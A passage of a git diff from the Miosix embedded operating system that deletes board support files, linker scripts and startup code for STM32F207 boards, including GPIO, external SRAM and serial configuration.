Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 14d8a4c79..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F207xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp.cpp deleted file mode 100644 index 08b143b58..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,220 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN; - RCC_SYNC(); - //Port config (H=high, L=low, PU=pullup, PD=pulldown) - // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | PORTG | - //--+---------+---------+---------+---------+---------+---------+---------+ - // 0| AF11 | AF11 | IN | AF12 | AF12 | AF12 | AF12 | - // 1| AF11 | AF11 | AF11 | AF12 | AF12 | AF12 | AF12 | - // 2| AF11 | IN PD | AF11 | AF12 | OUT L | AF12 | AF12 | - // 3| AF11 | AF0 | AF11 | IN PD | IN PD | AF12 | AF12 | - // 4| OUT H | AF0 | AF11 | AF12 | IN PD | AF12 | AF12 | - // 5| AF5 | AF5 | AF11 | AF12 | IN PD | AF12 | AF12 | - // 6| AF5 | IN PD | OUT L | IN PD | IN PD | OUT L | IN PD | - // 7| AF11 | IN PD | IN PD | AF12 | AF12 | IN PU | IN PD | - // 8| AF0 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | - // 9| AF7 | IN PD | AF12 | AF12 | AF12 | IN PD | IN PD | - //10| AF7 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | - //11| AF10 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | - //12| AF10 | AF11 | AF12 | AF12 | AF12 | AF12 | IN PD | - //13| AF0 | AF11 | IN | IN PD | AF12 | AF12 | IN PD | - //14| AF0 | AF12 | IN PD | AF12 | AF12 | AF12 | IN PD | - //15| AF0 | AF12 | IN PD | AF12 | AF12 | AF12 | IN PD | - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; //Except SRAM GPIOs that run @ 100MHz - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xfbffefaf; - GPIOE->OSPEEDR=0xffffeaaf; - GPIOF->OSPEEDR=0xffaaafff; - GPIOG->OSPEEDR=0xaaaaafff; - - GPIOA->MODER=0xaaaaa9aa; - GPIOB->MODER=0xaaa20a8a; - GPIOC->MODER=0x02aa1aa8; - GPIOD->MODER=0xa2aa8a2a; - GPIOE->MODER=0xaaaa801a; - GPIOF->MODER=0xaa001aaa; - GPIOG->MODER=0x00000aaa; - - GPIOA->PUPDR=0x00000000; - GPIOB->PUPDR=0x0008a020; - GPIOC->PUPDR=0xa0008000; - GPIOD->PUPDR=0x08002080; - GPIOE->PUPDR=0x00002a80; - GPIOF->PUPDR=0x00aa4000; - GPIOG->PUPDR=0xaaaaa000; - - GPIOA->ODR=0x00000010; - GPIOB->ODR=0x00000000; - GPIOC->ODR=0x00000000; - GPIOD->ODR=0x00000000; - GPIOE->ODR=0x00000000; - GPIOF->ODR=0x00000000; - GPIOG->ODR=0x00000000; - - GPIOA->AFR[0]=11 | 11<<4 | 11<<8 | 11<<12 | 0<<16 | 5<<20 | 5<<24 | 11<<28; - GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOB->AFR[0]=11 | 11<<4 | 0<<8 | 0<<12 | 0<<16 | 5<<20 | 0<<24 | 0<<28; - GPIOB->AFR[1]=11 | 0<<4 | 11<<8 | 11<<12 | 11<<16 | 11<<20 | 12<<24 | 12<<28; - GPIOC->AFR[0]= 0 | 11<<4 | 11<<8 | 11<<12 | 11<<16 | 11<<20 | 0<<24 | 0<<28; - GPIOC->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOD->AFR[0]=12 | 12<<4 | 12<<8 | 0<<12 | 12<<16 | 12<<20 | 0<<24 | 12<<28; - GPIOD->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 0<<20 | 12<<24 | 12<<28; - GPIOE->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 12<<28; - GPIOE->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; - GPIOF->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; - GPIOF->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; - GPIOG->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; - GPIOG->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; - - //Configure FSMC - RCC->AHB3ENR=RCC_AHB3ENR_FSMCEN; - RCC_SYNC(); - volatile uint32_t& BCR1=FSMC_Bank1->BTCR[0]; - volatile uint32_t& BTR1=FSMC_Bank1->BTCR[1]; - BCR1=0x00001011; //16bit width, write enabled, SRAM mode - BTR1=0x00000200; //DATAST=2 - - //Configure MCO to output 25MHz clock - RCC->CFGR |= RCC_CFGR_MCO1_1; - - ledOn(); - delayMs(100); - ledOff(); - - mii::res::high(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp_impl.h deleted file mode 100644 index 7fe52228b..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ - -inline void ledOn() -{ - led::high(); -} - -inline void ledOff() -{ - led::low(); -} - -///\internal Pin connected to SD card detect -typedef sdio::cd sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/hwmapping.h deleted file mode 100644 index c33dcf406..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,190 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio led; - -//Spare GPIOs, brought out to a connector -namespace gpio { -typedef Gpio g0; -typedef Gpio g1; -typedef Gpio g2; -typedef Gpio g3; -} - -//Gpios that connect the ethernet transceiver to the microcontroller -namespace mii { -typedef Gpio mdc; -typedef Gpio mdio; -typedef Gpio clk; -typedef Gpio res; -typedef Gpio irq; -typedef Gpio col; -typedef Gpio crs; -typedef Gpio rxc; -typedef Gpio rxdv; -typedef Gpio rxer; -typedef Gpio rxd0; -typedef Gpio rxd1; -typedef Gpio rxd2; -typedef Gpio rxd3; -typedef Gpio txen; -typedef Gpio txc; -typedef Gpio txd0; -typedef Gpio txd1; -typedef Gpio txd2; -typedef Gpio txd3; -} - -//External SRAM, connected to FSMC -namespace sram { -typedef Gpio cs1; -typedef Gpio oe; -typedef Gpio we; -typedef Gpio lb; -typedef Gpio ub; -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio d4; -typedef Gpio d5; -typedef Gpio d6; -typedef Gpio d7; -typedef Gpio d8; -typedef Gpio d9; -typedef Gpio d10; -typedef Gpio d11; -typedef Gpio d12; -typedef Gpio d13; -typedef Gpio d14; -typedef Gpio d15; -typedef Gpio a0; -typedef Gpio a1; -typedef Gpio a2; -typedef Gpio a3; -typedef Gpio a4; -typedef Gpio a5; -typedef Gpio a6; -typedef Gpio a7; -typedef Gpio a8; -typedef Gpio a9; -typedef Gpio a10; -typedef Gpio a11; -typedef Gpio a12; -typedef Gpio a13; -typedef Gpio a14; -typedef Gpio a15; -typedef Gpio a16; -typedef Gpio a17; -} - -//Connections to the optional nRF24L01 radio module -namespace nrf { -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio ce; -typedef Gpio irq; -} - -//Serial port -namespace serial { -typedef Gpio tx; -typedef Gpio rx; -} - -//USB host port -namespace usbhost { -typedef Gpio dm; -typedef Gpio dp; -} - -//USB device port -namespace usbdevice { -typedef Gpio dm; -typedef Gpio dp; -} - -//MicroSD card slot -namespace sdio { -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio ck; -typedef Gpio cd; -typedef Gpio cmd; -} - -//JTAG port -namespace jtag { -typedef Gpio tdi; -typedef Gpio tdo; -typedef Gpio tms; -typedef Gpio tck; -typedef Gpio trst; -} - -//Unused pins, configured as pulldown -namespace unused { -typedef Gpio u1; //Connected to ground, as it is boot1 -typedef Gpio u2; -typedef Gpio u3; -typedef Gpio u4; -typedef Gpio u5; -typedef Gpio u6; -typedef Gpio u7; -typedef Gpio u8; -typedef Gpio u9; -typedef Gpio u10; -typedef Gpio u11; -typedef Gpio u12; -typedef Gpio u13; -typedef Gpio u14; -typedef Gpio u15; -typedef Gpio u16; -typedef Gpio u17; -typedef Gpio u18; -typedef Gpio u19; -typedef Gpio u20; -typedef Gpio u21; -typedef Gpio u22; -typedef Gpio u23; -typedef Gpio u24; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_code_in_xram.ld b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_code_in_xram.ld deleted file mode 100644 index 68084192e..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_code_in_xram.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) + 512KB XRAM - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in xram - * - stacks, heap and sections .data and .bss in the internal ram - * It is most useful for debugging, since powercycling the board will erase code - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - xram(rx) : ORIGIN = 0x60000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > xram - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > xram - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > xram - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_rom.ld deleted file mode 100644 index e72e7644e..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index ccf892d3d..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,412 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - 